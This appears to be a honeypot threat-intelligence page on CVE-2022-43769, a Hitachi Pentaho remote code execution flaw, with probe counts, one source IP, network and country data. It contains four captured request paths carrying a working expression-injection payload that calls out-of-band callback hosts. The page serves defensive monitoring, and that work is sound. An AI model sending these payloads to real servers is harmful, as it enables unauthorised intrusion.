CVE-2022-43769: Hitachi Pentaho Business Analytics Server - Remote Code Execution
HoneyLabs honeypots recorded 6 probes matching CVE-2022-43769 from 1 distinct source IP address in the last 7 days. Severity is rated high.
This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2025-03-03.
Request paths that identify it
- /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('{{*}}')}&mgrDn=a&pwd…
Addresses probing it
| Source IP | Probes | Network | Country |
|---|---|---|---|
| 93.123.109.214 | 6 | Techoff Srv Limited | Bulgaria |
Networks it comes from
| ASN | Organisation | Probes | Source IPs |
|---|---|---|---|
| AS48090 | Techoff Srv Limited | 6 | 1 |
Where it comes from
| Country | Probes |
|---|---|
| Bulgaria | 6 |
Captured requests
- /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('db5t5t5r4bop88fdlblgm5xq9tf9my4zn.oast.pro')}&mgrDn=a&pwd=a
- /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('db7a64tr4bopjr84s5hgohbn9toy6p4yj.oast.site')}&mgrDn=a&pwd=a
- /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('db6ju85r4boqct66i8b03r4kk5dosj3we.oast.me')}&mgrDn=a&pwd=a
- /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('db4er2lr4boq567j5g5gzfyibt1d86skf.oast.site')}&mgrDn=a&pwd=a
HTTP client fingerprints
- b11cun060_0004001f_eefe5210
CVE report
CVE report
Open a specific CVE from the CVE tracker.